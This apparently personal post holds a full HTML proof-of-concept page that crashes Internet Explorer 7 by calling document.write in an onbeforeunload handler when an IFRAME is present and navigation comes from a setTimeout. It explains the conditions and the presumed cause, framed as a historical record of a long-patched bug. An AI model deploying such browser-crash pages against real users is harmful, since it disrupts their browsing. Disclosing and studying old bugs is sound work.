Calling document.write inside an onbeforeunload handler crashes IE7. The crash only happens when an IFRAME is present on the page and when the navigation is triggered by a setTimeout or by typing a URL in the address bar — not from a direct click on a link.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>DOS_IE7_onBeforeUnload_DocumentWrite</title>
</head>
<body>
<font size="2" face="Tahoma">
<center>
<h2>DOS_IE7_onBeforeUnload_DocumentWrite</h2>
<b>document.write</b> on the <b>onbeforeunload</b> event will crash the Browser (IE7 only) when leaving the page.<br /><br />
</center>
<u>This bug will work only if</u>:<br /><br />

1) There is an IFRAME on this page. It does not need to be connected to anything, but it has to be there.<br />
2) We change the URL v�a a setTimeout or typing a new one in the addressBar.<br /><br />
<center>
<b>Click the button below to crash the Browser</b>:<br />
<input type="button" onclick="changeURL();" value="changeURL()">

</center>
<hr />
<script language="JavaScript">
function changeURL()
{
	setTimeout("location.href='http://www.google.com'",1);
}
window.onbeforeunload = function()
{
	document.write('CRASH!');
}
</script>
<iframe width="100" height="100"></iframe>
</body>
</html>

Writing to the document during onbeforeunload conflicts with IE7’s page teardown sequence. When an IFRAME is present, the teardown involves additional cleanup steps, and writing to the document at that exact moment corrupts an internal state structure. The IFRAME’s presence and the setTimeout indirection are both required to hit the specific code path that crashes.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.